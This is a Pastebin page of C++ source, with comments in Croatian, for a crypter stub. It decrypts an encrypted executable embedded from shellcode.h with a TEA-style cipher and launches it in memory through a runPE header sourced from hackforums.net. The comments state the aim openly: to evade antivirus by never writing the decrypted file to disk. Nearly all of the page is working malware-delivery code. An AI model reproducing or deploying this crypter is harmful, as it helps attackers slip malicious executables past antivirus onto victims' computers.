Advertisement
Guest User

generator_finalne_datoteke

a guest
Jan 20th, 2013
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.20 KB | None | 0 0
  1. /* Kompajliranjem ovoga programa sa uključenom datotekom shellcode.h u kojoj
  2.  * se nalazi kriptirana datoteka stvara se datoteka dat.EXE koja nakon
  3.  * pokretanja dekriptira datoteku (koja je bila spremljenu u shellcode.h)
  4.  * te je pokrenuti u memoriji (dekriptirana datoteka neće se naći na hard
  5.  * disku te će je detektirati jedino antivirusni softver koji skenira radnu
  6.  * memoriju (opcija AV softvera koja je radno intenzivna za računalo te se
  7.  * zbog toga ne koristi na običnim računalima klijenata).
  8.  *
  9.  * runPE.h je zaglavlje koje sadrži metodu za pokretanje programa u memoriji
  10.  *
  11.  * Autor zaglavlja runPE.h nije poznat, zaglavlje se može pronaći na
  12.  * hackforums.net i drugim sličnim forumima/web mjestima.
  13.  *
  14.  * Izvorni kod datoteka runPE.h, generatora shellcode-a te jednostavni
  15.  * primjer koda koji poziva runPE.h metodu run preuzeti su sa:
  16.  * http://www.mediafire.com/?qrjxfcqcdvmqo38
  17.  */
  18.  
  19. #include <Windows.h>
  20. #include "runPE.h"
  21. #include "shellcode.h"
  22. #include <stdint.h>
  23.  
  24. unsigned int kljuc[4]={0xACB5,0x1344,0xEC90,0x285C};
  25.  
  26. #define BLOCK_SIZE 8
  27.  
  28. void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const kljuc[4]){
  29.      unsigned int i;
  30.      uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
  31.      for (i=0; i < num_rounds; i++){
  32.         v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + kljuc[(sum>>11) & 3]);
  33.         sum -= delta;
  34.         v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + kljuc[sum & 3]);
  35.      }
  36.      v[0]=v0; v[1]=v1;
  37. }
  38.  
  39. int main(){  
  40.     unsigned char shellcode_decrypted[size];
  41.    
  42.     int n_blocks=size/BLOCK_SIZE;
  43.     if(size%BLOCK_SIZE!=0)
  44.         ++n_blocks;
  45.      
  46.     unsigned char data[BLOCK_SIZE];
  47.    
  48.     for(int i=0;i<n_blocks;i++){
  49.         memcpy ( &data, &shellcode[i*BLOCK_SIZE], BLOCK_SIZE );
  50.         decipher(32,(uint32_t*)data,kljuc);
  51.        
  52.         for(int j=0;j<BLOCK_SIZE;j++)
  53.             memcpy ( &shellcode_decrypted[(i*BLOCK_SIZE)+j],&data[j], sizeof(unsigned char));
  54.          
  55.         memset(data,0,BLOCK_SIZE);
  56.       }
  57.      
  58.     runPE rp;
  59.    
  60.     TCHAR szFilePath[1024];
  61.     GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
  62.    
  63.     rp.run(LPSTR(szFilePath), shellcode_decrypted);
  64.     return 0;
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement